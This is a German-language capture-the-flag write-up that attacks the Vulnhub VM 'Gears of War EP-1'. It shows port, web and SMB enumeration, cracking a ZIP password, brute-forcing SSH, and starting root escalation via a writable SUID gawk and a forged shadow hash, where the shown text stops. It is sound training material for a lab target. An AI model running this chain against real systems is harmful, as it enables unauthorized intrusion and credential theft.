Gears of War EP - 1 - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

Inhaltsverzeichnis

Reconnaissance

In der Reconnaissance-Phase sammeln wir Informationen über das Zielsystem, um potenzielle Angriffspunkte zu identifizieren. Dies umfasst das Scannen des Netzwerks, das Auflisten von Diensten und die Identifizierung von Schwachstellen.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.106	08:00:27:c1:1d:ba	PCS Systemtechnik GmbH
                

Der Befehl arp-scan -l wird verwendet, um alle Geräte im lokalen Netzwerk zu scannen und ihre MAC-Adressen und zugehörigen Informationen anzuzeigen. In diesem Fall identifizieren wir ein Gerät mit der IP-Adresse 192.168.2.106 und der MAC-Adresse 08:00:27:c1:1d:ba, das von PCS Systemtechnik GmbH hergestellt wurde. Diese Information ist nützlich, um das Zielsystem im Netzwerk zu identifizieren.

**Analyse:** Der ARP-Scan ist ein grundlegender Schritt, um einen Überblick über die aktiven Geräte im Netzwerk zu erhalten. Die MAC-Adresse kann verwendet werden, um den Hersteller des Geräts zu bestimmen und möglicherweise weitere Informationen über das Gerät zu finden.

**Empfehlung:** Es ist wichtig, das Netzwerk regelmäßig auf unbekannte Geräte zu überwachen, um unbefugten Zugriff zu verhindern.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
 192.168.2.106   gears_of_war.vln
                

Der Befehl vi /etc/hosts wird verwendet, um die /etc/hosts-Datei zu bearbeiten und eine Zuordnung zwischen der IP-Adresse 192.168.2.106 und dem Hostnamen gears_of_war.vln hinzuzufügen. Dadurch können wir das Zielsystem über den Hostnamen ansprechen, was die weitere Arbeit erleichtert.

**Analyse:** Die /etc/hosts-Datei ermöglicht es, Hostnamen lokal aufzulösen, ohne einen DNS-Server zu benötigen. Dies ist nützlich, um das Zielsystem einfacher anzusprechen und die Lesbarkeit der Befehle zu verbessern.

**Empfehlung:** Stellen Sie sicher, dass die /etc/hosts-Datei nur vertrauenswürdige Einträge enthält, um Man-in-the-Middle-Angriffe zu verhindern.

┌──(root㉿cyber)-[~]
└─# dirb http://192.168.2.106

+ http://192.168.2.106/index.html (CDE:200|SIZE:200)                                        
+ http://192.168.2.106/robots.txt (CDE:200|SIZE:64)
                

Dirb ist ein Tool zum Auffinden von versteckten Verzeichnissen und Dateien auf einem Webserver.

**Analyse:** Dirb findet die Dateien index.html und robots.txt.

**Empfehlung:** Untersuchen Sie die gefundenen Dateien genauer, um sensible Informationen oder Schwachstellen zu finden.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.106
- Nikto v2.5.0

+ Target IP:          192.168.2.106
+ Target Hostname:    192.168.2.106
+ Target Port:        80
+ Start Time:         2024-01-26 22:29:54 (GMT1)

+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: c8, size: 59508191a8a40, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: HEAD, GET, PST, PTINS .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time:           2024-01-26 22:30:14 (GMT1) (20 seconds)

+ 1 host(s) tested
                

Nikto ist ein Webserver-Scanner, der nach potenziell gefährlichen Dateien, veralteten Softwareversionen und anderen Sicherheitsproblemen sucht. In diesem Fall identifiziert Nikto eine Reihe von Problemen, darunter fehlende HTTP-Header und eine veraltete Apache-Version.

**Analyse:** Die von Nikto gefundenen Probleme können von Angreifern ausgenutzt werden, um auf sensible Informationen zuzugreifen oder das System zu kompromittieren.

**Empfehlung:** Beheben Sie die von Nikto identifizierten Probleme, indem Sie die HTTP-Header konfigurieren und die Apache-Version aktualisieren.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.106 -p- | grep open
22/tcp  open  ssh         penSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: LCUST)
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: LCUST)
                

Dieser Nmap-Scan filtert die Ausgabe des vorherigen Scans, um nur die geöffneten Ports anzuzeigen.

**Analyse:** Die geöffneten Ports 22 (SSH), 80 (HTTP), 139 (NetBIOS) und 445 (SMB) deuten auf ein System mit SSH-, Web- und Dateifreigabediensten hin.

**Empfehlung:** Überprüfen Sie die Konfiguration der einzelnen Dienste und stellen Sie sicher, dass sie sicher konfiguriert sind.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.106 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-26 22:29 CET
Nmap scan report for gears_of_war.vln (192.168.2.106)
Host is up (0.00015s latency).
Not shown: 65531 closed tcp ports (reset)
PRT    STATE SERVICE     VERSIN
22/tcp  open  ssh         penSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 09:03:8d:1f:f8:c9:d4:b4:43:b3:c3:73:12:ba:95:e1 (RSA)
|   256 1b:a0:5f:3e:a2:6b:22:5a:81:c3:18:7e:5b:fc:d2:bd (ECDSA)
|_  256 18:1f:0c:d6:e7:2a:f5:5c:45:cb:8d:79:70:31:4b:7a (ED25519)
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-title: 400 Bad Request
|_http-server-header: Apache/2.4.29 (Ubuntu)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: LCUST)
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: LCUST)
MAC Address: 08:00:27:C1:1D:BA (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
S details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: GEARS_F_WAR; S: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 2s, deviation: 0s, median: 2s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_nbstat: NetBIS name: GEARS_F_WAR, NetBIS user: , NetBIS MAC:  (unknown)
| smb2-time: 
|   date: 2024-01-26T21:30:04
|_  start_date: N/A
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   S: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: gears_of_war
|   NetBIS computer name: GEARS_F_WAR\x00
|   Domain name: \x00
|   FQDN: gears_of_war
|_  System time: 2024-01-26T21:30:04+00:00

TRACERUTE
HP RTT     ADDRESS
1   0.15 ms gears_of_war.vln (192.168.2.106)
                

Dieser Nmap-Scan ist ausführlicher und liefert zusätzliche Informationen über die geöffneten Ports und die laufenden Dienste. Wir erhalten Informationen über SSH-, HTTP- und SMB-Dienste. Der HTTP-Dienst gibt einen "400 Bad Request" Fehler zurück, was ungewöhnlich ist. SMB deutet darauf hin, dass Windows-Dateifreigabe verwendet wird.

**Analyse:** Die detaillierten Informationen aus diesem Scan ermöglichen es, gezielt nach Schwachstellen in den laufenden Diensten zu suchen. Der "400 Bad Request" Fehler könnte auf eine Fehlkonfiguration des Webservers hindeuten oder eine bestimmte Art von Anfrage erfordern.

**Empfehlung:** Untersuchen Sie den HTTP-Dienst genauer und suchen Sie nach Möglichkeiten, gültige Anfragen zu senden. Überprüfen Sie die SMB-Konfiguration und versuchen Sie, auf freigegebene Ordner zuzugreifen.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://192.168.2.106 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k
http://192.168.2.106/index.html           (Status: 200) [Size: 200]
http://192.168.2.106/robots.txt           (Status: 200) [Size: 64]
http://192.168.2.106/dom.html             (Status: 200) [Size: 150]
http://192.168.2.106/dom.jpg              (Status: 200) [Size: 167543]
http://192.168.2.106/portada.jpg          (Status: 200) [Size: 375737]
http://192.168.2.106/cole.html            (Status: 200) [Size: 152]
http://192.168.2.106/cole.jpg             (Status: 200) [Size: 47419]
http://192.168.2.106/ashes.html           (Status: 200) [Size: 1128]
http://192.168.2.106/marcus.jpg           (Status: 200) [Size: 33548]
http://192.168.2.106/marcus.html          (Status: 200) [Size: 136]
http://192.168.2.106/baird.html           (Status: 200) [Size: 154]
http://192.168.2.106/baird.jpg            (Status: 200) [Size: 23004]
                

Gobuster wird verwendet, um weitere Dateien und Verzeichnisse auf dem Webserver zu finden.

**Analyse:** Gobuster findet eine Reihe von HTML- und Bilddateien, die nach Charakteren aus dem Spiel Gears of War benannt sind (cole, dom, marcus, baird). Es gibt auch eine Datei namens ashes.html.

**Empfehlung:** Laden Sie die gefundenen HTML-Dateien herunter und untersuchen Sie diese auf versteckte Informationen.

┌──(root㉿cyber)-[~]
└─# enum4linux -a 192.168.2.106

=( Share Enumeration on 192.168.2.106 )=

	Sharename       Type      Comment
	       -      -
	LCUS_LAN$      Disk      LCUST FATHER
	IPC$            IPC       IPC Service (gears_of_war server (Samba, Ubuntu))

	Server               Comment
	            -

	Workgroup            Master
	            -
	LCUST               GEARS_F_WAR

[+] Attaching to 192.168.2.106 using a NULL share

[+] Trying protocol 139/SMB...

[+] Found domain(s):

	[+] GEARS_F_WAR
	[+] Builtin

[+] Enumerating users using SID S-1-5-21-4056724967-1308465438-3928785021 and logon username '', password ''

S-1-5-21-4056724967-1308465438-3928785021-501 GEARS_F_WAR\nobody (Local User)
S-1-5-21-4056724967-1308465438-3928785021-513 GEARS_F_WAR\None (Domain Group)
S-1-5-21-4056724967-1308465438-3928785021-1000 GEARS_F_WAR\root (Local User)

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''

S-1-22-1-1000 Unix User\marcus (Local User)
                

Enum4linux wird verwendet, um Informationen über das SMB-Protokoll zu sammeln.

**Analyse:** Enum4linux findet den Share "LCUS_LAN$" und listet die Benutzer "nobody", "root" und "marcus" auf.

**Empfehlung:** Versuchen Sie, auf den Share "LCUS_LAN$" zuzugreifen und Brute-Forcen Sie das Passwort des Benutzers "marcus".

http://192.168.2.106/robots.txt

/marcus.html
/dom.html
/cole.html
/baird.html
/acarmine.html

    --pbyr-->
    --npnezvar-->   
    --onveq-->
    --qbz-->
    --znephf-->

RT-13 Cipher

pbyr
npnezvar
onveq
qbz
znephf

cole
acarmine
baird
dom
marcus
                

Dies ist der Inhalt der robots.txt Datei.

**Analyse:** Die Datei listet eine Reihe von HTML-Dateien auf und enthält verschlüsselte Benutzernamen. Das "RT-13 Cipher" deutet auf eine ROT13-Verschlüsselung hin.

**Empfehlung:** ROT13-dekodieren Sie die verschlüsselten Benutzernamen und verwenden Sie diese in Kombination mit den Dateinamen, um Anmeldeinformationen zu erhalten.

view-source:http://192.168.2.106/ashes.html

KESX5BANYCUID6UQHI7DUEN3HI7LSFJISAQCDEBITAY2RBI
                

Dies ist der Quellcode der ashes.html Datei.

**Analyse:** Der Quellcode enthält einen verschlüsselten String.

**Empfehlung:** Entschlüsseln Sie den String. Da der Name "Ashes" ist, ist die Wahrscheinlichkeit sehr groß, dass es sich hierbei um einen MD5 Hash handelt, der gecrackt werden muss.

┌──(root㉿cyber)-[~]
└─# crackmapexec smb 192.168.2.106 -u user.txt -p pass.txt
SMB         192.168.2.106   445    GEARS_F_WAR     [*] Windows 6.1 (name:GEARS_F_WAR) (domain:) (signing:False) (SMBv1:True)
SMB         192.168.2.106   445    GEARS_F_WAR     [+] \cole:pbyr
                

CrackMapExec wird verwendet, um Anmeldeinformationen gegen SMB zu testen.

**Analyse:** CrackMapExec findet gültige Anmeldeinformationen für den Benutzer "cole": cole:pbyr. "pbyr" ist die ROT13 verschlüsselte Version des Passworts.

**Empfehlung:** Verwenden Sie den Benutzernamen "cole" und das ROT13-dekodierte Passwort, um sich per SMB anzumelden.

┌──(root㉿cyber)-[~]
└─# enum4linux -a 192.168.2.106
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''

S-1-22-1-1000 Unix User\marcus (Local User)
                

Enum4linux wird erneut ausgeführt, um Informationen über das SMB-Protokoll zu sammeln.

**Analyse:** Die Ausgabe ist die gleiche wie zuvor.

**Empfehlung:** Da die Ausgabe die gleiche ist, wird enum4linux an dieser Stelle nicht mehr ausgeführt.

┌──(root㉿cyber)-[~]
└─# smbclient -L 192.168.2.106
Password for [WRKGRUP\root]:
Anonymous login successful

	Sharename       Type      Comment
	       -      -
	LCUS_LAN$      Disk      LCUST FATHER
	IPC$            IPC       IPC Service (gears_of_war server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

	Server               Comment
	            -

	Workgroup            Master
	            -
	LCUST               GEARS_F_WAR
                

Hier wird versucht, sich anonym per SMB anzumelden, um die verfügbaren Freigaben aufzulisten.

**Analyse:** Anonymer Zugriff ist möglich. Es werden die Freigaben "LCUS_LAN$" und "IPC$" gefunden.

**Empfehlung:** Versuchen Sie, auf den Share "LCUS_LAN$" zuzugreifen.

┌──(root㉿cyber)-[~]
└─# smbclient //192.168.2.106/LCUS_LAN$
Password for [WRKGRUP\root]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \>
                

Hier wird versucht, auf den Share "LCUS_LAN$" zuzugreifen.

**Analyse:** Anonymer Zugriff auf den Share "LCUS_LAN$" ist möglich.

**Empfehlung:** Listen Sie die Dateien und Verzeichnisse im Share auf und laden Sie diese herunter.

smb: \> ls
  .                                   D        0  Thu ct 17 20:06:58 2019
  ..                                  D        0  Thu ct 17 15:51:38 2019
  msg_horda.zip                       A      332  Thu ct 17 16:53:33 2019
  SS.txt                             A      198  Thu ct 17 20:06:58 2019

		5190756 blocks of size 1024. 103340 blocks available
                

Der Befehl ls listet die Dateien und Verzeichnisse im Share auf.

**Analyse:** Der Share enthält die Dateien "msg_horda.zip" und "SS.txt".

**Empfehlung:** Laden Sie die Dateien herunter.

smb: \> get msg_horda.zip
getting file \msg_horda.zip of size 332 as msg_horda.zip (324,2 KiloBytes/sec) (average 324,2 KiloBytes/sec)
                

Der Befehl get msg_horda.zip lädt die Datei msg_horda.zip herunter.

**Analyse:** Der Download ist erfolgreich.

**Empfehlung:** Analysieren Sie die heruntergeladene ZIP-Datei.

smb: \> get SS.txt
getting file \SS.txt of size 198 as SS.txt (193,3 KiloBytes/sec) (average 258,8 KiloBytes/sec)
                

Der Befehl get SS.txt lädt die Datei SS.txt herunter.

**Analyse:** Der Download ist erfolgreich.

**Empfehlung:** Analysieren Sie die heruntergeladene Textdatei.

smb: \> put user.txt
NT_STATUS_ACCESS_DENIED opening remote file \user.txt
                

Hier wird versucht, die Datei user.txt hochzuladen, aber der Zugriff wird verweigert.

**Analyse:** Der anonyme Benutzer hat keine Schreibberechtigungen auf dem Share.

**Empfehlung:** Versuchen Sie, die erworbenen Anmeldeinformationen zum Schreiben auf dem Share zu verwenden.

┌──(root㉿cyber)-[~]
└─# cat SS.txt
This is a message for the Delta Team.

I found a file that contains a password to free ........ oh no they here!!!!!!!!!!,
i must protect myself, please try to get the password!!

[@%%,]

-Hoffman.
                

Hier wird der Inhalt der Datei SS.txt angezeigt.

**Analyse:** Die Datei enthält eine Nachricht von "Hoffman", die auf ein Passwort hinweist. Der String "[@%%,]" könnte ein Hinweis auf das Passwortformat sein.

**Empfehlung:** Untersuchen Sie den String "[@%%,]" und suchen Sie nach einem Passwort, das diesem Muster entspricht.

┌──(root㉿cyber)-[~]
└─# unzip msg_horda.zip
Archive:  msg_horda.zip
[msg_horda.zip] key.txt password:
                

Hier wird versucht, die ZIP-Datei msg_horda.zip zu entpacken.

**Analyse:** Die ZIP-Datei ist passwortgeschützt.

**Empfehlung:** Versuchen Sie, das Passwort für die ZIP-Datei zu finden.

┌──(root㉿cyber)-[~]
└─# zip2john msg_horda.zip > hash
ver 2.0 efh 5455 efh 7875 msg_horda.zip/key.txt PKZIP Encr: TS_chk, cmplen=152, decmplen=216, crc=37552E74 ts=7635 cs=7635 type=8
msg_horda.zip/key.txt:$pkzip$1*1*2*0*98*d8*37552e74*0*41*8*98*7635*136053149b5b3027ad9c0717882c1e4554286f6a396ac40703fd8fcdc5f3f0f1ba92b29c661ef218376888f43a4a2d160a5757cf6ca866b9b41afba934caed4b940f85ce8a86f284bf82525e220f33e6c99f0447d1b61993a35a5323311d76943b0c203978e707ed8a15af551252c2d0773e148d711bd1a40f08a9143b798bd98200e2f2ea98bba2f4ac984641950cb0f39f0c9b8e2fa044*$/pkzip$:key.txt:msg_horda.zipmsg_horda.zip
Did not find End f Central Directory.
                

Hier wird zip2john verwendet, um den Hash aus der ZIP-Datei zu extrahieren.

**Analyse:** Der Hash wurde erfolgreich extrahiert und in der Datei hash gespeichert.

**Empfehlung:** Verwenden Sie John the Ripper, um den Hash zu knacken.

┌──(root㉿cyber)-[~]
└─# crunch 4 4 -t @%%, -o wordlist
Crunch will now generate the following amount of data: 338000 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 67600

crunch: 100% completed generating output
                

Hier wird Crunch verwendet, um eine Wortliste mit Passwörtern zu generieren, die dem Muster "@%%," entsprechen (ein Sonderzeichen, zwei Ziffern, ein Sonderzeichen).

**Analyse:** Crunch erstellt eine Wortliste, die für einen Brute-Force-Angriff verwendet werden kann.

**Empfehlung:** Verwenden Sie die generierte Wortliste, um das Passwort für die ZIP-Datei zu knacken.

┌──(root㉿cyber)-[~]
└─# fcrackzip -D -u -v -p wordlist msg_horda.zip
found file 'key.txt', (size cp/uc    152/   216, flags 9, chk 7635)

PASSWRD FUND!!!!: pw  r44M
                

Hier wird fcrackzip verwendet, um das Passwort der ZIP-Datei zu knacken.

**Analyse:** Das Passwort wurde erfolgreich geknackt: "r44M".

**Empfehlung:** Verwenden Sie das Passwort, um die ZIP-Datei zu entpacken.

┌──(root㉿cyber)-[~]
└─# unzip msg_horda.zip
Archive:  msg_horda.zip
[msg_horda.zip] key.txt password:
  inflating: key.txt
                

Hier wird die ZIP-Datei mit dem geknackten Passwort entpackt.

**Analyse:** Das Entpacken ist erfolgreich.

**Empfehlung:** Zeigen Sie den Inhalt der entpackten Datei an.

┌──(root㉿cyber)-[~]
└─# cat key.txt
"Vamos a atacar a los humanos con toda nuestras hordas,
por eso puse en prision a el hombre mas peligroso que tenian,
por lo que sin el son debiles."

[[[[[[[[[[[[[[[[[[[[["3_d4y"]]]]]]]]]]]]]]]]]]]]

-General RAAM.

„Wir werden die Menschen mit all unseren Horden angreifen,
Deshalb habe ich den gefährlichsten Mann, den sie hatten, ins Gefängnis gesteckt,
hne sie sind sie also schwach.“

[[[[[[[[[[[[[[[[[[[[["3_d4y"]]]]]]]]]]]]]]]]]]]]

-General RAAM.
                

Hier wird der Inhalt der Datei key.txt angezeigt.

**Analyse:** Die Datei enthält einen Text auf Spanisch und Deutsch sowie den String "3_d4y". Dies ist wahrscheinlich ein Passwort.

**Empfehlung:** Verwenden Sie den String "3_d4y" als Passwort.

┌──(root㉿cyber)-[~]
└─# echo "3_d4y" > pass.txt
                

Hier wird der String "3_d4y" in eine Datei namens pass.txt geschrieben.

**Analyse:** Dies dient dazu, die Datei als Passwortliste für Hydra zu verwenden.

**Empfehlung:** Verwenden Sie Hydra, um das Passwort gegen SSH zu testen.

┌──(root㉿cyber)-[~]
└─# hydra -l marcus -P pass.txt ssh://192.168.2.106:22 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-26 23:48:43
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ssh://192.168.2.106:22/

[22][ssh] host: 192.168.2.106   login: marcus   password: 3_d4y

1 of 1 target successfully completed, 1 valid password found
                

Hier wird Hydra verwendet, um das Passwort "3_d4y" gegen den SSH-Dienst zu testen.

**Analyse:** Hydra findet gültige Anmeldeinformationen für den Benutzer "marcus": marcus:3_d4y.

**Empfehlung:** Verwenden Sie den Benutzernamen "marcus" und das Passwort "3_d4y", um sich per SSH anzumelden.

┌──(root㉿cyber)-[~]
└─# ssh marcus@192.168.2.106
The authenticity of host '192.168.2.106 (192.168.2.106)' can't be established.
ED25519 key fingerprint is SHA256:63GFdRgqF2ztaC4ps1yfL9ZA7GoIvatMoxc/cIb78.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.106' (ED25519) to the list of known hosts.
marcus@192.168.2.106's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Jan 26 22:50:52 UTC 2024

  System load:  0.0               Processes:             100
  Usage of /:   92.9% of 4.95GB   Users logged in:       0
  Memory usage: 25%               IP address for enp0s3: 192.168.2.106
  Swap usage:   1%

  => / is using 92.9% of 4.95GB

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

130 packages can be updated.
21 updates are security updates.

New release '20.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


* System restart required *
Last login: Thu ct 17 18:38:43 2019
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.
                

Hier wird sich mit den geknackten Anmeldeinformationen per SSH angemeldet.

**Analyse:** Die Anmeldung ist erfolgreich.

**Empfehlung:** Fahren Sie mit der Erkundung des Systems als Benutzer "marcus" fort.

marcus@gears_of_war$ sudo -l
[sudo] password for marcus: 
Sorry, user marcus may not run sudo on gears_of_wa
                

Hier wird versucht, die sudo-Rechte des Benutzers "marcus" anzuzeigen.

**Analyse:** Der Benutzer "marcus" darf sudo nicht ausführen.

**Empfehlung:** Suchen Sie weiter nach Möglichkeiten zur Privilege Escalation.

marcus@gears_of_war$ ls /home
marcus  smb
                

Hier werden die Verzeichnisse im /home Verzeichnis angezeigt.

**Analyse:** Das Verzeichnis enthält die Benutzer "marcus" und "smb".

**Empfehlung:** Untersuchen Sie das Verzeichnis "smb".

marcus@gears_of_war$ ll
total 40
drwxrwxrwx 6 marcus marcus 4096 ct 17  2019 ./
drwxr-xr-x 4 root   root   4096 ct 17  2019 ../
-rw- 1 marcus marcus   17 ct 17  2019 .bash_history
-rwxrwxrwx 1 marcus marcus  220 Apr  4  2018 .bash_logout*
-rwxrwxrwx 1 marcus marcus 3771 Apr  4  2018 .bashrc*
drwxrwxrwx 2 marcus marcus 4096 ct 16  2019 .cache/
drwxrwxrwx 3 marcus marcus 4096 ct 16  2019 .gnupg/
drwxrwxrwx 2 marcus marcus 4096 ct 17  2019 jail/
drwxrwxrwx 3 marcus marcus 4096 ct 16  2019 .local/
-rwxrwxrwx 1 marcus marcus  670 ct 17  2019 .profile*
                

Hier wird der Inhalt des Home-Verzeichnisses des Benutzers "marcus" angezeigt.

**Analyse:** Das Verzeichnis enthält die üblichen Konfigurationsdateien. Besonders auffällig ist der Ordner "jail".

**Empfehlung:** Untersuchen Sie das Verzeichnis "jail".

marcus@gears_of_war$ find / -type f -perm -4000 -ls 2>/dev/null
   130376    140 -rwsr-xr-x   1 root     root       141528 Jan 18  2018 /bin/cp
   135924     44 -rwsr-xr-x   1 root     root        43088 Sep 16  2020 /bin/mount
   130445     64 -rwsr-xr-x   1 root     root        64424 Jun 28  2019 /bin/ping
   130394     32 -rwsr-xr-x   1 root     root        30800 Aug 11  2016 /bin/fusermount
   140495     44 -rwsr-xr-x   1 root     root        44664 Nov 29  2022 /bin/su
   135925     28 -rwsr-xr-x   1 root     root        26696 Sep 16  2020 /bin/umount
       66     40 -rwsr-xr-x   1 root     root        40152 Jun 14  2022 /snap/core/16202/bin/mount
       80     44 -rwsr-xr-x   1 root     root        44168 May  7  2014 /snap/core/16202/bin/ping
       81     44 -rwsr-xr-x   1 root     root        44680 May  7  2014 /snap/core/16202/bin/ping6
       98     40 -rwsr-xr-x   1 root     root        40128 Nov 29  2022 /snap/core/16202/bin/su
      116     27 -rwsr-xr-x   1 root     root        27608 Jun 14  2022 /snap/core/16202/bin/umount
     2646     71 -rwsr-xr-x   1 root     root        71824 Nov 29  2022 /snap/core/16202/usr/bin/chfn
     2648     40 -rwsr-xr-x   1 root     root        40432 Nov 29  2022 /snap/core/16202/usr/bin/chsh
     2725     74 -rwsr-xr-x   1 root     root        75304 Nov 29  2022 /snap/core/16202/usr/bin/gpasswd
     2817     39 -rwsr-xr-x   1 root     root        39904 Nov 29  2022 /snap/core/16202/usr/bin/newgrp
     2830     53 -rwsr-xr-x   1 root     root        54256 Nov 29  2022 /snap/core/16202/usr/bin/passwd
     2940    134 -rwsr-xr-x   1 root     root       136808 May 24  2023 /snap/core/16202/usr/bin/sudo
     3039     42 -rwsr-xr--   1 root     systemd-resolve    42992 Sep 14 10:58 /snap/core/16202/usr/lib/dbus-1.0/dbus-daemon-launch-helper
     3411    419 -rwsr-xr-x   1 root     root              428240 Aug  8 02:57 /snap/core/16202/usr/lib/openssh/ssh-keysign
     6485    125 -rwsr-xr-x   1 root     root              127656 Sep 18 07:40 /snap/core/16202/usr/lib/snapd/snap-confine
     7673    386 -rwsr-xr--   1 root     dip               394984 Jul 23  2020 /snap/core/16202/usr/sbin/pppd
     2322     24 -rwsr-xr-x   1 root     root               22520 Jan 12  2022 /usr/bin/pkexec
     1392     40 -rwsr-xr-x   1 root     root               37136 Nov 29  2022 /usr/bin/newuidmap
     2176    644 -rwsrwxrwx   1 root     root              658072 Feb 11  2018 /usr/bin/gawk
     2513     44 -rwsr-xr-x   1 root     root               44528 Nov 29  2022 /usr/bin/chsh
     2517     60 -rwsr-xr-x   1 root     root               59640 Nov 29  2022 /usr/bin/passwd
    10995     40 -rwsr-xr-x   1 root     root               40344 Nov 29  2022 /usr/bin/newgrp
     2474     20 -rwsr-xr-x   1 root     root               18448 Jun 28  2019 /usr/bin/traceroute6.iputils
     2516     76 -rwsr-xr-x   1 root     root               75824 Nov 29  2022 /usr/bin/gpasswd
     1355     40 -rwsr-xr-x   1 root     root               37136 Nov 29  2022 /usr/bin/newgidmap
     2471     76 -rwsr-xr-x   1 root     root               76496 Nov 29  2022 /usr/bin/chfn
     2040     52 -rwsr-sr-x   1 daemon   daemon             51464 Feb 20  2018 /usr/bin/at
     8406    148 -rwsr-xr-x   1 root     root              149080 Apr  4  2023 /usr/bin/sudo
   131980    100 -rwsr-xr-x   1 root     root              100760 Nov 23  2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
     2324     16 -rwsr-xr-x   1 root     root               14328 Jan 12  2022 /usr/lib/policykit-1/polkit-agent-helper-1
     2667     12 -rwsr-xr-x   1 root     root               10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
     7521    128 -rwsr-xr-x   1 root     root              130264 May 29  2023 /usr/lib/snapd/snap-confine
    10451    428 -rwsr-xr-x   1 root     root              436552 Aug 11  2021 /usr/lib/openssh/ssh-keysign
     2233     44 -rwsr-xr--   1 root     messagebus         42992 ct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
                

Hier wird nach SUID-Dateien gesucht.

**Analyse:** Die Ausgabe zeigt eine Liste von SUID-Dateien, die potenziell für Privilege Escalation ausgenutzt werden könnten. Besonders interessant ist "/usr/bin/gawk", da diese ausführbar und beschreibbar ist.

**Empfehlung:** Nutzen Sie die SUID-Datei gawk, zur Privilege Escalation.

Privilege Escalation
marcus@gears_of_war:/tmp$ openssl passwd -6 -salt y1BDtWcx root
$6$y1BDtWcx$l4vwafYdqxavgb5qNygrPmDLWeuAohT0AJXCPCRLCCqwgSKJ4PMSpUVx3jE5.XXgdRK/my4iullGgjGj.FZ69.
                

Hier wird ein neuer Passwort-Hash für den Benutzer "root" mit openssl passwd generiert. Das Salt ist "y1BDtWcx".

**Analyse:** Der Befehl erzeugt einen SHA-512-Crypt-Hash, der später in die /etc/shadow Datei eingefügt wird.

**Empfehlung:** Notieren Sie sich den generierten Hash.

